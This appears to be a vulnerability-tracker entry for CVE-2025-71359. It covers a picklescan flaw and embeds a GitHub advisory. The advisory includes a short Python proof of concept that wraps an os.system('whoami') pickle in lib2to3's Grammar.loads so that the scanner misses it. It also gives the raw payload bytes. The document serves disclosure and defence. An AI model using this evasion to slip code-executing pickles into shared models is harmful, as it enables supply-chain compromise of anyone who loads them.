CVE-2025-71359
highpriority · track · 0EPSS 0.006 · 49 %ileEUUSEPSS · scored 2026-10-28
picklescan before 0.0.29 fails to detect malicious pickle payloads that utilize lib2to3.pgen2.grammar.Grammar.loads in the reduce method, allowing remote code execution. Attackers can craft pickle files embedding dangerous code that evades picklescan detection and executes during pickle.load() deserialization.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–8.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-f54q-57x4-jg88Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads2025-08-26ghsa · osvUS
### Summary Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` class Evil: def __reduce__(self): import os return (os.system, ('whoami',)) class EvilLib2to3Pgen2GrammarLoads: def __reduce__(self): from lib2to3.pgen2.grammar import Grammar payload = pickle.dumps(Evil()) # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.' return Grammar().loads, (payload,) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (6)
External citations — patches, advisories, analysis.
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f54q-57x4-jg88cnnvd
- https://www.vulncheck.com/advisories/picklescan-unsafe-deserialization-via-lib2to3-pgen2-grammar-grammar-loadscnnvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f54q-57x4-jg88enisa_euvd
- https://www.vulncheck.com/advisories/picklescan-unsafe-deserialization-via-lib2to3-pgen2-grammar-grammar-loadsenisa_euvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-f54q-57x4-jg88nvd
- https://www.vulncheck.com/advisories/picklescan-unsafe-deserialization-via-lib2to3-pgen2-grammar-grammar-loadsnvd
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